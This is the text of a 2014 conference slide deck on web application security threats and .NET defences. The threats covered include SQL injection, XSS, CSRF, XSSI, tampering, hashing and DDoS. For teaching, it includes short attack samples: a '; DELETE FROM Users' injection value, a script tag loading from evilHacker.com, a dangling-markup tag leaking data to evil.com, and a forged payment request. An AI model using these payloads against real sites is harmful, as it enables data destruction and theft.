Nov 23, 2014 Nov 23, 2014 Sofia var title = “Web Security Threats and Solutions”; var info = { name: “Ivelin Andreev”, otherOptional: “Security is not for granted” };
Jul 07, 2015
Nov 23, 2014Nov 23, 2014Sofia
var title =
“Web Security Threats and Solutions”;
var info = {
name: “Ivelin Andreev”,
otherOptional: “Security is not for granted”
};
Nov 23, 2014
About me
• Project Manager @
o 12 years professional experience
o .NET Web Development MCPD
o SQL Server 2012 (MCSA)
• Business Interests
o Web Development, SOA, Integration
o Security & Performance Optimization
o Horizon2020, Open BIM, GIS, Mapping
• Contact me
o www.linkedin.com/in/ivelin
o www.slideshare.net/ivoandreev
Nov 23, 2014
Web Security is Important
Common misconceptions
• I am using ASP.NET ?!?!
• I am too small to be noticed by crackers
• I am too busy for security, my brand is important
• I am not operating in the financial industry
• Security seal means nothing for customers
• Hosting provider does not matter
Nov 23, 2014
agenda();
• SQL Injection
• Cross-Site Scripting (CSS)
• Cross-Site Request Forgery (CSRF)
• Cross-Site Script Inclusion (CSSI)
• Parameter Tampering
• Information Leakage
• Distributed Denial of Service
• Demo
Nov 23, 2014
SQL injection is so old...
Don’t developers know any better?
Nov 23, 2014
SQL Injection
Def: Commands or logic inserted in SQL data channel
• Common Reasonso Dynamic query statements and string operations
o Poor programming
• Impacto Leak or loss of data
o Authentication and authorization
• Impact (you many have not considered)
o Damages limited only by the SQL account permissions
o Windows authentication user rights can be exploited
o Modify server security configuration
o Install backdoors
Nov 23, 2014
Nov 23, 2014
(Pseudo) Solutions
• Replace special symbols (-, “, ‘)o Data with special symbols not searchable
o Poor routines can create vulnerable query (i.e. –’–)
• Smugglingo Looks like a quote but not a quote - conversion on DB level
o OWASP_IL_2007_SQL_Smuggling.pdf
• NOSQL is not vulnerableo NOSQL is also vulnerable (i.e. MongoDB with JavaScript)
• Second order attackso Validate request only
o Data stored in the DB and later used in prepared queries
Nov 23, 2014
Using Parameters (in wrong manner)
• Dynamic queries (sp_executesql vs. EXEC)o exec (@sqlString) – executes T-SQL string
o sp_executesql allows for statements to be parameterized
o sp_executesql is more secure in terms of SQL injection
• Developer believes dynamic SQL is the only optionCREATE PROCEDURE GetUsers @Sort nvarchar(50) AS
DECLARE @sql nvarchar(255)
SET @sql = 'SELECT UserName FROM Users ' + @Sort
EXECUTE sp_executesql @sql
GO
o What if @Sort = ‘‘; DELETE FROM Users’
CREATE PROCEDURE GetUsers @Sort Int AS
SELECT UserName FROM Users ORDER BY
CASE WHEN @Sort = 1 THEN ( Rank() OVER (ORDER BY UserName ASC) ) END
GO
Nov 23, 2014
Prevention & Mitigation
• Parameterized queries and prepared statementso Use parameters where data are expected
o ORMs use parameters (Nhibernate, Entity Framework)
• “The least privilege” principleo Grant the minimum access rights
o Parameterized queries vs. Stored Procedure permissions
• Positive input validation (Poor)o Regular expressions / White lists (i.e. alphanumeric)
• IIS Request Query Filtering (Poor)o filtering-for-sql-injection-on-iis-7-and-later
• SQL injection and DB takeover o http://ha.ckers.org/sqlinjection/
o (SQL) http://sqlmap.org/; (NOSQL) http://www.nosqlmap.net/
Nov 23, 2014
SQL Injection with Entity Framework
• Entity Framework Raw Queriesstring query = “query” + “SQL injection code”
dbContext.Database.SqlQuery<string>(query).ToList();
o Security Considerations (Entity Framework)
• IQueryableo Can result in untrusted calls
o If provided as a library, can be casted to Context and connection
var orders = repository.GetOrders(5);
var context = ((ObjectQuery)orders).Context
o Use IEnumerable instead
Nov 23, 2014
Nov 23, 2014
Cross Site Scripting (XSS)
Def: Untrusted content displayed on page unencoded
• Caseo evilHacker injects <script> in http://goodSite.com application context
• By posting HTML form field
• By tricking user to click link with query parameters sent by mail
%3Cscript%20src%3D%27evilHacker.com%2Fscript.js%27%3E
• XSS Sourceo Query parameters, HTML form fields
o HTML Attributes (onload, onblur)
o URI requested and displayed in HTTP 404 page
o Data from DB or file system
o 3rd party data - RSS feeds or service
Nov 23, 2014
XSS – an Underestimated Threat
• Create or access any DOM element
• Hijack cookies, credentials or actions
• Take control over victim machine
Browser Exploitation Framework Projecto Open source penetration testing tool
o XSS vulnerability allows injection of BeEF
o Victim browser is hooked
o Perform actions/attacks on behalf of the victim
o Exploit system in browser context
Nov 23, 2014
Persisted XSS
• Attacker stores malicious data on server
• Unvalidated data displayed on page w/o encoding
• Store once – run many
Nov 23, 2014
Reflected XSS
• Malicious client data is immediately used by server
• Unvalidated data displayed on page w/o encoding
• Requires social engineeringo Convince users to follow a URL (via e-mail or forum comment)
• Detection Toolso OWASP Xenotix XSS Exploit Framework
o XSS-ME FireFox plugin
Nov 23, 2014
Client XSS & HTML Injection
• DOM-based XSSo Malicious data executed as a part of DOM manipulation
o Requires social engineering
document.write(“
<OPTION value=1>"+document.location.href.substring(…) + ”</OPTION>");
• Dangling Markup HTML injectiono Image source w/o closing tag
o On load of image – a request is made to attacker’s site
<img src='http://evil.com/log.cgi? ← Injected line with a non-terminated parameter ...
<input type="hidden" name=“SecretField" value="12345">
...
'← Normally-occurring apostrophe somewhere in page text
o HTML leaks to evil site
Nov 23, 2014
All user input
is evil
Nov 23, 2014
XSS Prevention & Mitigation
• HTML escape then JavaScript escape
• Encode on usage, not appearanceo HttpUtility.HtmlEncode(string)
o HttpUtility.JavaScriptStringEncode(string)
o Microsoft Anti-Cross Site Scripting Library
• Use proven sanitizerso Blacklist vs. Whitelist
o Valid JavaScript can be created by poor filtering routine
<SscriptCscriptRscriptIscriptPscriptTscript>…
• Check 3rd party resources (i.e. jQuery plugins)
• Analyze places where DOM elements are createdo Use document.createElement() rather than $(obj).html()
Nov 23, 2014
Built-In XSS Prevention Features (.NET)
• Request Validationo ASP .NET Web Forms: @Page EnableRequestValidation=“true”
o ASP .NET MVC: Controller.ValidateRequest=true;
o <httpRuntime requestValidationMode=“4.0" />
• Do not turn off request validationo “Easy fix” for HTML editors
o Use HTML editors that HTML encode before submission
• Reliabilityo Microsoft advice: Relying solely on built-in request validation is not enough
o No known vulnerabilities now (but not in the past)
• AntiXss.HtmlEncode() vs. HttpUtility.HtmlEncode() o HttpUtility just ensures output does not break HTML
o Performance penalty is +0.1 ms/transaction
Nov 23, 2014
Content Security Policy
• HTTP Headero Content-Security-Policy: script-src ‘self’
• Featureso Whitelist sources of trusted content
o Blocks resources from untrusted locations (incl. inline scripts)
o Report of blocked resources
• Directiveso script-src; img-src; media-src; style-src; frame-src; connect-src
• Keywordso 'none‘, 'self‘, 'unsafe-inline‘, 'unsafe-eval‘
• Browser supporto CanIUse.com CSP?
Nov 23, 2014
CSRF has nothing to do with sea-surf
Nov 23, 2014
• Impacto EvilHacker.com cannot read DOM but can POST / GET
o Act on behalf of the user (i.e. payment)
o User access is blocked or stolen
Cross-Site Request Forgery (CSRF)
Def: Unauthorised commands transmitted from a user whom a website trusts
• Synonyms: One-click attack, Session riding
• Caseo User logs in http://goodSite.com as usual
o http://evilHacker.com can
• POST new password in form to GoodSite.com
• GET http://goodSite.com/Payment.aspx?amount=1000&userID=EvilHacker
o Authenticated because cookies are sent
Nov 23, 2014
Cross Site Scripting Inclusion (XSSI)
• Caseo Exploits <script> element exception to Same Origin Policy
o http://goodSite.com includes own <script> for AJAX request
o http://evilHacker.com includes the same script
• Authenticated because cookies are sent
o Server returns JSON wrapped in function call
<script type="application/javascript" src= "http://goodSite.com/Svc/Get?callback=parseResponse" />
o SCRIPT evaluated in evilHacker.com context and JSON is stolen
parseResponse ({“this”:”is”,”json”:”data”});
• Impacto User data are stolen
• Preventiono Check policy of script inclusion
Nov 23, 2014
CSRF Prevention & Mitigation
• NONCE token (URL, hidden field)o Checked upon submission
o Protected by browser same origin policy
• User defined (password, CAPTCHA)
• Built-In (ASP.NET)Page.ViewStateUserKey=Session.SessionID
o Signs the ViewState with unique user key
• Built-In (ASP.NET MVC)o HtmlHelper.AntiForgeryToken() - generates a hidden form field
o [ValidateAntiForgeryToken] attribute for controller validation
o NOT a single-use token
• POST(HTTP) makes attacks hardero Cross domain POSTs can be limited (CORS)
Nov 23, 2014
Parameter tampering
Nov 23, 2014
Parameter Tampering
Def: Parameters changed in unintended way
Common reasons
• Query string; Hidden form fields;
• Data-channel interception (M-i-t-M attack)
Common Mistakes
• Client side validation only
• Mismatch with predefined set of values
• Not validated access to entities on server (i.e. EntityId=???)
• Unprotected data sent to cliento Query strings; JavaScript parameters
Nov 23, 2014
Tampering Prevention & Mitigation
• Built-In (ASP.NET MVC) - None
• Built-In (ASP.NET)
• ViewStateo Not encrypted by default (Binary serialized, Base64 Encoded)
o Do not turn EnableViewstateMac off (Web Farm, X-domain POST)
• Event Validationo “Invalid postback or callback argument…”
o Not encrypted (Binary serialized, Base64 Encoded)
o Do not turn event validation off
o Register for event validation
protected override void Render(HtmlTextWriter writer) {
…
Page.ClientScript.RegisterForEventValidation(ddl.UniqueID, “John”); }
Nov 23, 2014
Encryption & Hashing
Nov 23, 2014
Encryption
• Protects sensitive data (if stolen)o Credentials; Auth tokens; Configuration;
• SQL data encryptiono EncryptByPassPhrase
o EncryptByCert
o EncryptByKey
• Application levelo AesCryptoService, RijndaelManaged
o TripleDESCryptoServiceProvider
• Connection string encryptiono Machine specific encryption after deploy
aspnet_regiis –pe “connectionstrings” –app /[appname]
o Decryption done automatically
Nov 23, 2014
Hashing
• Irreversible function (MD5, SHA1, SHA256)o MD5 generator: http://www.md5.cz/
o Smaller than the data
• Collisions allowed
• Usageo Assure information was not changed (tampered)
o Protect passwords
• Compromisingo Good algorithm is always compromised by weak passwords
o Brute force (GPU)
o Precalculated “Rainbow tables” (Dictionary attack)
• http://www.hashkiller.co.uk/md5-decrypter.aspx
Nov 23, 2014
Protecting Hashes
• Random Salto [SecretText][Salt] -> [Hash]
o Changes hash value
o Invalidates rainbow tables
o Slows down brute force attacks
• Complex passwords
• Slow algorithms
• Key stretching (Rfc2898DeriveBytes class)U1 = PRF(Password, Salt)
U2 = PRF(Password, U1)
...
Uc = PRF(Password, Uc-1)
• Outsource sensitive data storage (if possible)
Nov 23, 2014
Information Leakage
• Loss of sensitive datao Display trace and log information
o Display raw error messages
o Google it: inurl: elmah.axd aspxauth
o Attacker can profile application and select appropriate attack
• Mitigationo Custom error pages <CustomErrors mode=“on” defaultRedirect=“Error.aspx”>
o Turn off tracing
• Retail mode <deployment retail=“true”/>o Set in machine.config for the whole server
o Sets Custom Errors = “on”, Debug = “false”
o Trace information is not displayed
• Test
Nov 23, 2014
Transport Layer Security
Nov 23, 2014
SSL / TLS
• HTTP over SSL prevents packet sniffing
• Force SSL for the entire siteo Or at least for credentials interchange
• ASP.NET MVC: RequireHttpsAttributeo Redirects Request to HTTPS scheme
• ASP.NET Web Formso Requires custom code
o https://code.google.com/p/securityswitch/
<securitySwitch mode="RemoteOnly"><paths>
<add path="~/Login.aspx" /></paths>
</securitySwitch>
Nov 23, 2014
Distributed Denial of Service
Nov 23, 2014
Denial of Service Attack
DDoS
• Anonymous?!o LOIC (Hive mode)
o TOR Anonymity Project
• Hash DoS (since 2003)o POST params in hash table (with collisions)
o Too many hashes = 100% CPU
o Patch: Block POST of >1000 form fields
Prevention & Mitigation
• Dynamic IP restrictions IIS extensiono http://www.iis.net/downloads/microsoft/dynamic-ip-restrictions
• Good logging and diagnostics is essential
Nov 23, 2014
Demo
DEMO
Nov 23, 2014
Takeaways
• Guidelines & Code Labso Open Web Application Security Project www.owasp.org
o Web App Exploits and Defenses google-gruyere
o 2013 Top 10 Web Security Vulnerabilities Top_10_2013
o 2011 Top 25 Most Dangerous Software Errors cwe.mitre.org/top25
• Articleso Hack-proofing ASP.NET Web Applications Adam Tuliper
o Hash DDoS Hash-Dos-Attack
• .NET Source Code referencesource.microsoft.com
• Tools o ASafaWeb Analyser asafaweb.com
o Website and Web Server Security Testing www.beyondsecurity.com
Nov 23, 2014
Upcoming events
ISTA Conference 26-27 November
http://istabg.org/
Stay tuned for 2015:
Azure Bootcamp http://azure-camp.eu/
UXify Bulgaria http://uxify.org/
SQLSaturday https://www.sqlsaturday.com/
and more js.next();
Nov 23, 2014
Thanks to our Sponsors:
Diamond Sponsor:
Gold Sponsors:
Swag Sponsors:
Media Partners:
Silver Sponsors:
Hosting partner:
Technological Partners: